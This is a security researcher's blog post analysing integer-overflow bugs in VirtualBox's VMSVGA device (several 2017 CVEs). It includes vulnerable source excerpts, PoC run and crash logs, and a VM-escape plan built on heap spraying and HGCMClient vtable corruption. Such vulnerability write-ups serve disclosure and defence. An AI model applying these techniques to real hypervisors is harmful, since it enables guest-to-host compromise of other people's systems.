Sunday, November 11, 2018

VirtualBox VMSVGA VM Escape

VirtualBox emulates VMware virtual SVGA device whose interface details and programming model is available publicly [2]. Moreover, the paper “GPU Virtualization on VMware’s Hosted I/O Architecture” [1] is a great reference to the architecture of VMware SVGA device. Kostya Kortchinsky first published “CLOUDBURST - A VMware Guest to Host Escape Story” [3] detailing a VM escape using bugs in VMware SVGA device.

Similarly Oracle also fixed a bunch of issues in their VMSVGA device (CVE-2014-6595, CVE-2014-6588, CVE-2014-6589, CVE-2014-6590, CVE-2015-0427) during the Critical Patch Update - January 2015 [6]. “Attacking hypervisors through hardware emulation” [4] has some details regarding the VMSVGA bugs in VirtualBox.

It is important to note that VMSVGA device is not enabled by default and probably has very limited users. However, the feature can be enabled as mentioned in the documentation of VBoxManage [5].

VBoxManage modifyvm VMNAME --graphicscontroller vmsvga
Oracle fixed VMSVGA bugs CVE-2017-10210, CVE-2017-10236, CVE-2017-10239, CVE-2017-10240, CVE-2017-10392, CVE-2017-10407 and CVE-2017-10408 which I reported, during the Critical Patch Updates in July 2017 [7] and October 2017 [8]. CVE-2017-10210, CVE-2017-10236, CVE-2017-10239 and CVE-2017-10240 was also found by Li Qiang of the Qihoo 360 Gear Team [7]. This blog post details some of these issues and demonstrate a VM escape using them.

Analysis was carried out in VirtualBox version 5.1.22 for OSX. VirtualBox for Linux is not built with support for VMSVGA 3D features and are available only in Windows and OSX.

CVE-2017-10210 - Integer overflow in validating face[0].numMipLevels in vmsvga3dSurfaceDefine (DevVGA-SVGA3d.cpp)

int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
                          SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
                          SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
{
    . . .
    /* cFaces must be 6 for a cubemap and 1 otherwise. */
    AssertReturn(cFaces == (uint32_t)((surfaceFlags & SVGA3D_SURFACE_CUBEMAP) ? 6 : 1), VERR_INVALID_PARAMETER);
    AssertReturn(cMipLevels == cFaces * face[0].numMipLevels, VERR_INVALID_PARAMETER);
    . . .
}
Here “cFaces” can be set to 6 when using “surfaceflag” SVGA3D_SURFACE_CUBEMAP. Then “face[0].numMipLevels” can be set to a value such that cFaces * face[0].numMipLevels wraps. “cMipLevels” depends on number of SVGA3dSize structures passed for SVGA_3D_CMD_SURFACE_DEFINE command e.g. 2 == 6 * 0x2aaaaaab

face[0].numMipLevels value is used in multiple other commands leading to memory corruption. The PoC for CVE-2017-10210 demonstrates memory corruption using SVGA_3D_CMD_SURFACE_DESTROY command leading to invalid free().

int vmsvga3dSurfaceDestroy(PVGASTATE pThis, uint32_t sid)
{
. . .
        if (pSurface->pMipmapLevels)
        {
            for (uint32_t face=0; face < pSurface->cFaces; face++)
            {
                for (uint32_t i=0; i < pSurface->faces[face].numMipLevels; i++)
                {
                    uint32_t idx = i + face * pSurface->faces[0].numMipLevels;
                    if (pSurface->pMipmapLevels[idx].pSurfaceData)
                        RTMemFree(pSurface->pMipmapLevels[idx].pSurfaceData);
                }
            }
            RTMemFree(pSurface->pMipmapLevels);
        }
. . .
}

renorobert@ubuntu:~/virtualbox-vmsvga-bugs/CVE-2017-10210$ sudo ./poc 
[sudo] password for renorobert: 
poc: [+] Triggering the integer overflow using SVGA_3D_CMD_SURFACE_DEFINE...
poc: [+] Triggering the crash using SVGA_3D_CMD_SURFACE_DESTROY...

 [lldbinit] process attach --pid 57984
[-] warning: get_frame() failed. Is the target binary started?
Process 57984 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
    frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10
Target 0: (VirtualBoxVM) stopped.

Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM".
Architecture set to: x86_64h-apple-macosx.
[lldbinit] c
Process 57984 resuming
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x000070000E657000  RBP: 0x000070000E656CC0  RSP: 0x000070000E656C88  o d I t s z a P c
  RDI: 0x000000000000DB0B  RSI: 0x0000000000000006  RDX: 0x0000000000000000  RCX: 0x000070000E656C88  RIP: 0x00007FFF5F9B7B66
  R8:  0x0000000000000000  R9:  0x0000000000000000  R10: 0x0000000000000000  R11: 0x0000000000000206  R12: 0x000000000000DB0B
  R13: 0x0000000000000004  R14: 0x0000000000000006  R15: 0x000000000000002D
  CS:  0007  FS: 0000  GS: 0000                                              Jump is taken (c = 0)
-----------------------------------------------------------------------------------------------------------------------[flow]
-----------------------------------------------------------------------------------------------------------------------[code]
__pthread_kill @ libsystem_kernel.dylib:
    0x7fff5f9b7b66: 73 08           jae    0x7fff5f9b7b70            ; <+20>
    0x7fff5f9b7b68: 48 89 c7        mov    rdi, rax
    0x7fff5f9b7b6b: e9 79 6f ff ff  jmp    0x7fff5f9aeae9            ; cerror_nocancel
    0x7fff5f9b7b70: c3              ret    
    0x7fff5f9b7b71: 90              nop    
    0x7fff5f9b7b72: 90              nop    
    0x7fff5f9b7b73: 90              nop    

__pthread_markcancel @ libsystem_kernel.dylib:
    0x7fff5f9b7b74: b8 4c 01 00 02  mov    eax, 0x200014c
-----------------------------------------------------------------------------------------------------------------------------

Process 57984 stopped
* thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT
    frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10
Target 0: (VirtualBoxVM) stopped.
[lldbinit] bt
* thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT
  * frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10
    frame #1: 0x00007fff5fb82080 libsystem_pthread.dylib`pthread_kill + 333
    frame #2: 0x00007fff5f9131ae libsystem_c.dylib`abort + 127
    frame #3: 0x00007fff5fa11822 libsystem_malloc.dylib`free + 521
    frame #4: 0x000000010efbbad1 VBoxDD.dylib`___lldb_unnamed_symbol1176$$VBoxDD.dylib + 305
    frame #5: 0x000000010efb9932 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3682
    frame #6: 0x00000001053d1683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115
    frame #7: 0x00000001032db6dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44
    frame #8: 0x0000000103360222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194
    frame #9: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340
    frame #10: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377
    frame #11: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13
[lldbinit]


CVE-2017-10236 – paMipLevelSizes is not validated leading to integer overflow in vmsvga3dSurfaceDefine (DevVGA-SVGA3d.cpp)

    /* Allocate buffer to hold the surface data until we can move it into a D3D object */
    for (uint32_t i = 0; i < cMipLevels; ++i)
    {
        PVMSVGA3DMIPMAPLEVEL pMipmapLevel = &pSurface->pMipmapLevels[i];
        . . .
        pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width;
        pMipmapLevel->cbSurface      = pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth;
        pMipmapLevel->pSurfaceData   = RTMemAllocZ(pMipmapLevel->cbSurface);
        AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);
    }
Here “cbSurfacePitch” and “cbSurface” calculations can overflow since “paMipLevelSizes” values are fully controlled by guest. Further RTMemAllocZ ends up allocating less buffer size than actually needed (due to invalid calculation of “cbSurface”). This could lead to out of bound read/write during usage of “pSurfaceData” in other SVGA commands. The provided PoC only demonstrates an invalid allocation which can be inspected in a debugger and does not trigger any crashes. However, this bug will be later used in the full VM escape exploit.

CVE-2017-10240 and CVE-2017-10408 – Multiple integer overflows in vmsvga3dSurfaceDMA (DevVGA-SVGA3d.cpp)

int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer,
                       uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes)
{
. . .
       for (unsigned i = 0; i < cCopyBoxes; i++)
        {
            . . .
            if (paBoxes[i].x + paBoxes[i].w > pMipLevel->size.width)
                paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x;
            if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height)
                paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y;
            if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth)
                paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z;

            if (    !paBoxes[i].w
                ||  !paBoxes[i].h
                ||  !paBoxes[i].d
                ||   paBoxes[i].x > pMipLevel->size.width
                ||   paBoxes[i].y > pMipLevel->size.height
                ||   paBoxes[i].z > pMipLevel->size.depth)
            {
                . . .
                continue;
            }
            uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
            AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR);
. . .
}
In this case, first the “paBoxes” validation against “pMipLevel” can overflow leading to bypasses. Then “uDestOffset” validation against “pMipLevel->cbSurface” can also be bypassed due to integer overflow. Similar code patterns were found in multiple places. “uDestOffset” is used for computing “pBufferStart” argument during the call to vmsvgaGMRTransfer, leading to out of bound read or write based on the value of SVGA3dTransferType - SVGA3D_WRITE_HOST_VRAM or SVGA3D_READ_HOST_VRAM. The PoC for this bug accesses memory at an offset ~4GB from pMipLevel->pSurfaceData leading to crash. This bug can be exploited by spraying the heap and allocating the accessed memory region.

renorobert@ubuntu:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ make
gcc -Wall -ggdb -std=gnu99 -o poc svga.c poc.c -lpciaccess
renorobert@ubuntu:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ sudo ./poc 
[sudo] password for renorobert:

[lldbinit] process attach --pid 14518
[-] warning: get_frame() failed. Is the target binary started?
Process 14518 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
    frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10
Target 0: (VirtualBoxVM) stopped.

Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM".
Architecture set to: x86_64h-apple-macosx.
[lldbinit] c
Process 14518 resuming
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x00007F976656CEB8  RBX: 0x0000000111C1C000  RBP: 0x00007000066CAC10  RSP: 0x00007000066CAC10  o d I t s Z a P c
  RDI: 0x00007F976656CEB8  RSI: 0x0000000111C1C000  RDX: 0x0000000000000000  RCX: 0x4141414141414141  RIP: 0x00007FFF5FB78FD0
  R8:  0x4141414141414141  R9:  0x0000000000000000  R10: 0x00000000FFFFFFFE  R11: 0x00007F9654950EB8  R12: 0x0000000000000000
  R13: 0x0000000000000001  R14: 0x00007F976656CEB8  R15: 0x0000000000000001
  CS:  002B  FS: 0000  GS: 0000                                              
-----------------------------------------------------------------------------------------------------------------------[flow]
-----------------------------------------------------------------------------------------------------------------------[code]
_platform_memmove$VARIANT$Haswell @ libsystem_platform.dylib:
    0x7fff5fb78fd0: 48 89 0f     mov    qword ptr [rdi], rcx
    0x7fff5fb78fd3: 4c 89 04 17  mov    qword ptr [rdi + rdx], r8
    0x7fff5fb78fd7: 5d           pop    rbp
    0x7fff5fb78fd8: c3           ret    
    0x7fff5fb78fd9: 48 83 c2 08  add    rdx, 0x8
    0x7fff5fb78fdd: 74 25        je     0x7fff5fb79004            ; <+228>
    0x7fff5fb78fdf: 4d 31 c0     xor    r8, r8
    0x7fff5fb78fe2: 42 8a 0c 06  mov    cl, byte ptr [rsi + r8]
-----------------------------------------------------------------------------------------------------------------------------

Process 14518 stopped
* thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8)
    frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176
Target 0: (VirtualBoxVM) stopped.
[lldbinit] vmmap -a 0x00007F976656CEB8
[lldbinit] bt
* thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8)
  * frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176
    frame #1: 0x0000000110e1a6bf VBoxDD.dylib`___lldb_unnamed_symbol1154$$VBoxDD.dylib + 671
    frame #2: 0x0000000110e2207d VBoxDD.dylib`___lldb_unnamed_symbol1178$$VBoxDD.dylib + 861
    frame #3: 0x0000000110e1fa09 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3897
    frame #4: 0x0000000107a17683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115
    frame #5: 0x00000001059216dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44
    frame #6: 0x00000001059a6222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194
    frame #7: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340
    frame #8: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377
    frame #9: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13
[lldbinit]


CVE-2017-10407 - Integer overflow in vmsvgaGMRTransfer (DevVGA-SVGA.cpp)

int vmsvgaGMRTransfer(PVGASTATE pThis, const SVGA3dTransferType enmTransferType, uint8_t *pbDst, int32_t cbDestPitch,
                      SVGAGuestPtr src, uint32_t offSrc, int32_t cbSrcPitch, uint32_t cbWidth, uint32_t cHeight)
{
. . .
        AssertMsgReturn(offSrc + cbSrcPitch * (cHeight - 1) + cbWidth <= pThis->vram_size,
                        ("src.offset=%#x offSrc=%#x cbSrcPitch=%#x cHeight=%#x cbWidth=%#x vram_size=%#x\n",
                         src.offset, offSrc, cbSrcPitch, cHeight, cbWidth, pThis->vram_size),
                        VERR_INVALID_PARAMETER);

        uint8_t *pSrc  = pThis->CTX_SUFF(vram_ptr) + offSrc;
. . .
}
The “offSrc” validation can overflow and the check against “vram_size” can be bypassed. This leads to out of bound read or write relative to the VRAM. vmsvgaGMRTransfer is used by multiple SVGA commands like SVGA_CMD_BLIT_GMRFB_TO_SCREEN, SVGA_3D_CMD_SURFACE_DMA, SVGA_3D_CMD_BLIT_SURFACE_TO_SCREEN etc.

In SVGA_CMD_BLIT_GMRFB_TO_SCREEN, the “offsetDest” is validated against the vram_size. Hence the destination of write can only start from within VRAM buffer. However, the “offsetSource” can end up pointing beyond VRAM buffer at a controlled offset, providing reliable info leak.

case SVGA_CMD_BLIT_GMRFB_TO_SCREEN:
            {
 . . .
                unsigned offsetSource = (pCmd->srcOrigin.x * pSVGAState->GMRFB.format.s.bitsPerPixel) / 8 + pSVGAState->GMRFB.bytesPerLine * pCmd->srcOrigin.y;
                unsigned offsetDest   = (pCmd->destRect.left * RT_ALIGN(pThis->svga.uBpp, 8)) / 8 + pThis->svga.cbScanline * pCmd->destRect.top;
                unsigned cbCopyWidth  = (width * RT_ALIGN(pThis->svga.uBpp, 8)) / 8;

                AssertBreak(offsetDest < pThis->vram_size);

                rc = vmsvgaGMRTransfer(pThis, SVGA3D_WRITE_HOST_VRAM, pThis->CTX_SUFF(vram_ptr) + offsetDest, pThis->svga.cbScanline, pSVGAState->GMRFB.ptr, offsetSource, pSVGAState->GMRFB.bytesPerLine, cbCopyWidth, height);
The PoC provided demonstrates OOB access relative to VRAM using SVGA_CMD_BLIT_GMRFB_TO_SCREEN and SVGA_3D_CMD_SURFACE_DMA.

Exploitation:

There are various bugs providing numerous combinations and primitives. I chose to use the bugs in vmsvga3dSurfaceDefine and vmsvga3dSurfaceDMA to demonstrate a full VM escape:

int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
                          SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
                          SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
{
. . .
    /* Allocate buffer to hold the surface data until we can move it into a D3D object */
    for (uint32_t i = 0; i < cMipLevels; ++i)
    {
        PVMSVGA3DMIPMAPLEVEL pMipmapLevel = &pSurface->pMipmapLevels[i];
        . . .
        pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width;
        pMipmapLevel->cbSurface      = pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth;
        pMipmapLevel->pSurfaceData   = RTMemAllocZ(pMipmapLevel->cbSurface);
        AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);
    }
 . . .
}
Bugs in vmsvga3dSurfaceDefine() allows setting very large values for pMipmapLevel->size.width, pMipmapLevel->size.height and pMipmapLevel->size.depth but still end up allocating only the desired size heap chunks. This is very useful for further exploiting the integer overflows in vmsvga3dSurfaceDMA().

int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer,
                       uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes)
{
. . .
        for (unsigned i = 0; i < cCopyBoxes; i++)    
        {
            . . .  
            /* Apparently we're supposed to clip it (gmr test sample) */
            if (paBoxes[i].x + paBoxes[i].w > pMipLevel->size.width)
                paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x;
            if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height)
                paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y;
            if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth)
                paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z;

            if (    !paBoxes[i].w
                ||  !paBoxes[i].h
                ||  !paBoxes[i].d
                ||   paBoxes[i].x > pMipLevel->size.width
                ||   paBoxes[i].y > pMipLevel->size.height
                ||   paBoxes[i].z > pMipLevel->size.depth)
            {
                . . .
                continue;
            }
. . .
            uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
            AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR);
. . .
            rc = vmsvgaGMRTransfer(pThis,
                                   transfer,
. . .
                                   paBoxes[i].w * pSurface->cbBlock,
                                   paBoxes[i].d * paBoxes[i].h);
. . .
}
The first set of checks involving paBoxes can be bypassed since, pMipLevel width, height and depth are set to very large values in vmsvga3dSurfaceDefine(). Later these values are used for calculating the ‘uDestOffset’, which could be set to arbitrary value.

uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
However, there is a validation following this:
            AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR);

i.e. uDestOffset + ((paBoxes[i].w * pSurface->cbBlock) * (paBoxes[i].h * paBoxes[i].d)) <= pMipLevel->cbSurface
Here one can set high values to either uDestOffset or (paBoxes[i].w * pSurface->cbBlock) or (paBoxes[i].h * paBoxes[i].d) to bypass the validation. In vmsvgaGMRTransfer(), (paBoxes[i].w * pSurface->cbBlock) and (paBoxes[i].h * paBoxes[i].d) are used in computing size arguments for memcpy() call. To keep sizes to sane values, let’s set uDestOffset to a large value, thus allowing read/write at an offset ~4GB from a surface allocation.

There are 2 things which needs to be solved in order to exploit this bug:
- Allocate the memory at offset ~4GB from a surface allocation
- The memory allocated at this huge offset should have interesting pointers to corrupt which could lead to code execution

In OSX, there are three types of allocations – tiny, small and large. For more details on the allocator refer the previous work [9] and [10]. Tiny and small heap allocations falls at an address range of 0x00007fxxxxx00000, whereas large allocations occupies another address range 0x00000001xxxxx000. Either of this heap allocation can be targeted to exploit this bug.

My choice was to target the tiny and small heap allocations. This is primarily because I was aware of tiny allocations holding pointers to vtable and other memory allocations, which could be corrupted for code execution. However, spraying the entire 4GB memory with tiny allocations is a very slow process. OSX supports small allocations up to the size of 127KB. So the idea is to allocate as much as small chunks as possible to speed up the heap spray and smaller amount of heap spray with tiny chunks.

Allocating tiny chunks:

For tiny chunks I targeted the allocations performed by HGCM (Host-Guest Communication Manager). Good amount of details about HGCM can be found in [11]. For this exploit, I used to HGCM connection objects for spraying. HGCM connections are initialized using the VMM virtual PCI device. The BAR0 of the device holds the I/O port address used for HGCM communication. Whenever an HGCM connection is initiated, a HGCMClient object of size 72 bytes is allocated in memory and client ID is returned. This is what the HGCMClient object looks like:

typedef struct _AVLULNodeCore
{
    AVLULKEY                Key;        /** Key value. */
    struct _AVLULNodeCore  *pLeft;      /** Pointer to left leaf node. */
    struct _AVLULNodeCore  *pRight;     /** Pointer to right leaf node. */
    unsigned char           uchHeight;  /** Height of this tree: max(height(left), height(right)) + 1 */
} AVLULNODECORE, *PAVLULNODECORE, **PPAVLULNODECORE;

typedef struct _ObjectAVLCore
{
    AVLULNODECORE AvlCore;
    void *pSelf;                        // type HGCMObject
} ObjectAVLCore;

struct HGCMClient {
        void *vptr_HGCMObject;
        uint32_t m_cRefs;
        uint32_t m_enmObjType;          // HGCMOBJ_TYPE enum
        ObjectAVLCore m_core;
        void *pService;                 // type HGCMService
        void *pvData;
        uint64_t padding;
} HGCMClient;
Creation and allocations of HGCMClient are done by HGCMService::CreateAndConnectClient in src/VBox/Main/src-client/HGCM.cpp. The client objects are maintained using a AVL tree. The nodes have client ID’s as key and also holds a pointer to object itself. During exploitation, we avoid corrupting the AVL tree metadata to prevent any crashes during lookup or insertion of AVL tree nodes. Further, the vtable of HGCMClient can be corrupted for gaining RIP control.

The deletion of HGCMClient objects happens during HGCM disconnect, which is handled by HGCMService::DisconnectClient where the corrupted vtable gets used.

int HGCMService::DisconnectClient(uint32_t u32ClientId, bool fFromService)
{
. . .
            HGCMMsgSvcDisconnect *pMsg = (HGCMMsgSvcDisconnect *)hgcmObjReference(hMsg, HGCMOBJ_MSG);
            AssertRelease(pMsg);

            pMsg->u32ClientId = u32ClientId;

            hgcmObjDereference(pMsg);  // use of corrupted vtable on deletion
. . .
}

Allocating small chunks:

In order to fill 4GB, small chunks are much faster option compared to tiny chunks. SVGA_3D_CMD_SURFACE_DEFINE command can be used to allocate chunks of arbitrary size.

int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
                          SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
                          SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
{
. . .
    AssertReturn(sid < SVGA3D_MAX_SURFACE_IDS, VERR_INVALID_PARAMETER);
. . .
    pSurface = pState->papSurfaces[sid];

    /* If one already exists with this id, then destroy it now. */
    if (pSurface->id != SVGA3D_INVALID_ID)
        vmsvga3dSurfaceDestroy(pThis, sid);
. . .
}
vmsvga3dSurfaceDefine() allows a maximum of SVGA3D_MAX_SURFACE_IDS (32 * 1024) unique surface allocations. With surfaces of size 127KB, this is a good enough limit to fill ~4GB of memory. Since the pages were allocated towards the lower addresses of heap, initially the HGCMClient objects are allocated followed by the surface allocations. This is what the memory layout looks like after the heap spray:
Memory layout before spray:


Stack                  00007000060c1000-0000700006143000           thread 29
MALLOC_TINY            00007ff16b400000-00007ff16b500000 [ 1024K   684K   684K   316K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16b500000-00007ff16b700000 [ 2048K   792K   792K  1256K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16b700000-00007ff16b800000 [ 1024K   840K   840K   184K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff16b800000-00007ff16c06d000 [ 8628K  1332K  1332K  2160K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL (empty)   00007ff16c06d000-00007ff16c06e000 [    4K     4K     4K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff16c06e000-00007ff16d800000 [ 23.6M  2600K  2600K  4288K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16d800000-00007ff16d900000 [ 1024K   484K   484K   540K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16d900000-00007ff16da00000 [ 1024K   364K   364K   660K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16da00000-00007ff16dc00000 [ 2048K    20K    20K    12K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_TINY            00007ff16dc00000-00007ff16de00000 [ 2048K    20K    20K    24K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY (empty)    00007ff16de00000-00007ff16df00000 [ 1024K     8K     8K     8K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY            00007ff16df00000-00007ff16e000000 [ 1024K   448K   448K   492K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL (empty)   00007ff16e000000-00007ff16e800000 [ 8192K     4K     4K     8K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_SMALL           00007ff16e800000-00007ff16f000000 [ 8192K     8K     8K   240K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_SMALL (empty)   00007ff16f000000-00007ff170000000 [ 16.0M     8K     8K   172K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY (empty)    00007ff170000000-00007ff170100000 [ 1024K     8K     8K     4K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_TINY            00007ff170100000-00007ff170200000 [ 1024K   368K   368K    60K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY (empty)    00007ff170200000-00007ff170300000 [ 1024K     8K     8K     4K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_TINY            00007ff170300000-00007ff170400000 [ 1024K     4K     4K    20K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY            00007ff170400000-00007ff170600000 [ 2048K    84K    84K   948K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff170800000-00007ff171000000 [ 8192K     4K     4K    96K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_SMALL           00007ff171000000-00007ff171800000 [ 8192K     4K     4K     8K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
STACK GUARD            00007ffee50b0000-00007ffee88b0000 [ 56.0M     0K     0K     0K] ---/rwx SM=NUL          stack guard for thread 0

Memory layout after spray:


Stack                  000070000624a000-00007000062cc000 [  520K    12K    12K     0K] rw-/rwx SM=PRV          thread 35
MALLOC_SMALL           00007ff06b800000-00007ff079800000 [224.0M 209.3M 209.3M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff07b800000-00007ff08b000000 [248.0M 243.4M 243.4M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff08b400000-00007ff08b500000 [ 1024K   244K   244K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff08b800000-00007ff0c2800000 [880.0M 863.7M 863.7M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff0c2800000-00007ff0c3000000 [ 8192K  8032K  8032K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff0c3000000-00007ff0ec800000 [664.0M 532.9M 532.9M 118.8M] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff0ec800000-00007ff0ed000000 [ 8192K  8032K  8032K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff0ed000000-00007ff0fb000000 [224.0M 217.3M 217.3M  2588K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff0fb400000-00007ff0fb500000 [ 1024K   184K   184K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff0fb800000-00007ff12b000000 [760.0M 745.9M 745.9M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff12b400000-00007ff12b500000 [ 1024K   936K   936K     4K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff12b800000-00007ff139000000 [216.0M 212.0M 212.0M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff139000000-00007ff139800000 [ 8192K  8032K  8032K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
